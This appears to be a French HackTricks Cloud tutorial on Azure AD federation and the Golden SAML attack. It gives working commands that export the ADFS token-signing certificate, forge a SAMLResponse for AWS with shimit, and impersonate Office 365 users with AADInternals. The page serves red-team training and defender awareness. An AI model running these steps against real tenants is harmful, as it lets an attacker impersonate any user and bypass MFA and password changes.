Az - Federation
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Informations de base
La fĂ©dĂ©ration est un ensemble de domaines qui ont Ă©tabli une confiance. Le niveau de confiance peut varier, mais inclut gĂ©nĂ©ralement lâauthentification et inclut presque toujours lâautorisation. Une fĂ©dĂ©ration typique pourrait inclure un certain nombre dâorganisations qui ont Ă©tabli une confiance pour un accĂšs partagĂ© Ă un ensemble de ressources. Vous pouvez fĂ©dĂ©rer votre environnement sur site avec Azure AD et utiliser cette fĂ©dĂ©ration pour lâauthentification et lâautorisation. Cette mĂ©thode de connexion garantit que toute authentification des utilisateurs se produit sur site. Cette mĂ©thode permet aux administrateurs de mettre en Ćuvre des niveaux de contrĂŽle dâaccĂšs plus rigoureux. La fĂ©dĂ©ration avec AD FS et PingFederate est disponible.
.png)
En gros, dans la fĂ©dĂ©ration, toute authentification se produit dans lâenvironnement sur site et lâutilisateur bĂ©nĂ©ficie dâun SSO Ă travers tous les environnements de confiance. Par consĂ©quent, les utilisateurs peuvent accĂ©der aux applications cloud en utilisant leurs identifiants sur site.
Security Assertion Markup Language (SAML) est utilisĂ© pour Ă©changer toutes les informations dâauthentification et dâautorisation entre les fournisseurs.
Dans toute configuration de fédération, il y a trois parties :
- Utilisateur ou Client
- Fournisseur dâidentitĂ© (IdP)
- Fournisseur de services (SP)
.png)
- Initialement, une application (Fournisseur de services ou SP, comme la console AWS ou le client web vSphere) est accessible par un utilisateur. Cette Ă©tape peut ĂȘtre contournĂ©e, amenant le client directement Ă lâIdP (Fournisseur dâidentitĂ©) selon lâimplĂ©mentation spĂ©cifique.
- Ensuite, le SP identifie lâIdP appropriĂ© (par exemple, AD FS, Okta) pour lâauthentification de lâutilisateur. Il crĂ©e alors une AuthnRequest SAML (Security Assertion Markup Language) et redirige le client vers lâIdP choisi.
- LâIdP prend le relais, authentifiant lâutilisateur. AprĂšs lâauthentification, une SAMLResponse est formulĂ©e par lâIdP et transmise au SP par lâintermĂ©diaire de lâutilisateur.
- Enfin, le SP Ă©value la SAMLResponse. Si elle est validĂ©e avec succĂšs, impliquant une relation de confiance avec lâIdP, lâutilisateur se voit accorder lâaccĂšs. Cela marque la fin du processus de connexion, permettant Ă lâutilisateur dâutiliser le service.
Si vous souhaitez en savoir plus sur lâauthentification SAML et les attaques courantes, allez Ă :
Pivotement
- AD FS est un modĂšle dâidentitĂ© basĂ© sur des revendications.
- â..les revendications sont simplement des dĂ©clarations (par exemple, nom, identitĂ©, groupe), faites Ă propos des utilisateurs, qui sont utilisĂ©es principalement pour autoriser lâaccĂšs Ă des applications basĂ©es sur des revendications situĂ©es nâimporte oĂč sur Internet.â
- Les revendications pour un utilisateur sont Ă©crites Ă lâintĂ©rieur des jetons SAML et sont ensuite signĂ©es pour fournir la confidentialitĂ© par lâIdP.
- Un utilisateur est identifié par ImmutableID. Il est globalement unique et stocké dans Azure AD.
- LâImmutableID est stockĂ© sur site comme ms-DS-ConsistencyGuid pour lâutilisateur et/ou peut ĂȘtre dĂ©rivĂ© du GUID de lâutilisateur.
- Plus dâinfos sur https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims
Attaque Golden SAML :
- Dans ADFS, la SAML Response est signée par un certificat de signature de jeton.
- Si le certificat est compromis, il est possible de sâauthentifier auprĂšs de lâAzure AD en tant que nâimporte quel utilisateur synchronisĂ© avec Azure AD !
- Tout comme notre abus de PTA, le changement de mot de passe pour un utilisateur ou MFA nâaura aucun effet car nous falsifions la rĂ©ponse dâauthentification.
- Le certificat peut ĂȘtre extrait du serveur AD FS avec des privilĂšges DA et peut ensuite ĂȘtre utilisĂ© depuis nâimporte quelle machine connectĂ©e Ă Internet.
- Plus dâinfos sur https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
Golden SAML
Le processus par lequel un Fournisseur dâidentitĂ© (IdP) produit une SAMLResponse pour autoriser la connexion de lâutilisateur est primordial. Selon lâimplĂ©mentation spĂ©cifique de lâIdP, la rĂ©ponse peut ĂȘtre signĂ©e ou chiffrĂ©e Ă lâaide de la clĂ© privĂ©e de lâIdP. Cette procĂ©dure permet au Fournisseur de services (SP) de confirmer lâauthenticitĂ© de la SAMLResponse, garantissant quâelle a bien Ă©tĂ© Ă©mise par un IdP de confiance.
Un parallĂšle peut ĂȘtre Ă©tabli avec lâattaque du golden ticket, oĂč la clĂ© authentifiant lâidentitĂ© et les permissions de lâutilisateur (KRBTGT pour les golden tickets, clĂ© privĂ©e de signature de jeton pour le golden SAML) peut ĂȘtre manipulĂ©e pour forger un objet dâauthentification (TGT ou SAMLResponse). Cela permet dâusurper lâidentitĂ© de nâimporte quel utilisateur, accordant un accĂšs non autorisĂ© au SP.
Les Golden SAML offrent certains avantages :
- Ils peuvent ĂȘtre créés Ă distance, sans avoir besoin de faire partie du domaine ou de la fĂ©dĂ©ration en question.
- Ils restent efficaces mĂȘme avec lâauthentification Ă deux facteurs (2FA) activĂ©e.
- La clé privée de signature de jeton ne se renouvelle pas automatiquement.
- Changer le mot de passe dâun utilisateur nâinvalide pas un SAML dĂ©jĂ gĂ©nĂ©rĂ©.
AWS + AD FS + Golden SAML
Active Directory Federation Services (AD FS) est un service Microsoft qui facilite lâĂ©change sĂ©curisĂ© dâinformations dâidentitĂ© entre partenaires commerciaux de confiance (fĂ©dĂ©ration). Il permet essentiellement Ă un service de domaine de partager des identitĂ©s dâutilisateur avec dâautres fournisseurs de services au sein dâune fĂ©dĂ©ration.
Avec AWS faisant confiance au domaine compromis (dans une fĂ©dĂ©ration), cette vulnĂ©rabilitĂ© peut ĂȘtre exploitĂ©e pour potentiellement acquĂ©rir nâimporte quelles permissions dans lâenvironnement AWS. Lâattaque nĂ©cessite la clĂ© privĂ©e utilisĂ©e pour signer les objets SAML, semblable Ă la nĂ©cessitĂ© du KRBTGT dans une attaque de golden ticket. LâaccĂšs au compte utilisateur AD FS est suffisant pour obtenir cette clĂ© privĂ©e.
Les exigences pour exécuter une attaque Golden SAML incluent :
- Clé privée de signature de jeton
- Certificat public de lâIdP
- Nom de lâIdP
- Nom du rĂŽle (rĂŽle Ă assumer)
- Domaine\nom dâutilisateur
- Nom de session de rĂŽle dans AWS
- ID de compte Amazon
Seuls les Ă©lĂ©ments en gras sont obligatoires. Les autres peuvent ĂȘtre remplis selon les besoins.
Pour acquĂ©rir la clĂ© privĂ©e, lâaccĂšs au compte utilisateur AD FS est nĂ©cessaire. Ă partir de lĂ , la clĂ© privĂ©e peut ĂȘtre exportĂ©e du magasin personnel Ă lâaide dâoutils comme mimikatz. Pour rassembler les autres informations requises, vous pouvez utiliser le module Microsoft.Adfs.Powershell comme suit, en vous assurant que vous ĂȘtes connectĂ© en tant quâutilisateur ADFS :
# From an "AD FS" session
# After having exported the key with mimikatz
# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)
# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri
# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
Avec toutes les informations, il est possible dâoublier un SAMLResponse valide en tant quâutilisateur que vous souhaitez imiter en utilisant shimit:
# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012
# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
.png)
Sur site -> cloud
# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
# On AD FS server execute as administrator
Get-AdfsProperties | select identifier
# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri
# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate
# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
Il est également possible de créer un ImmutableID pour les utilisateurs uniquement cloud et de les usurper.
# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="
# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate
# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose
Références
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed
- https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

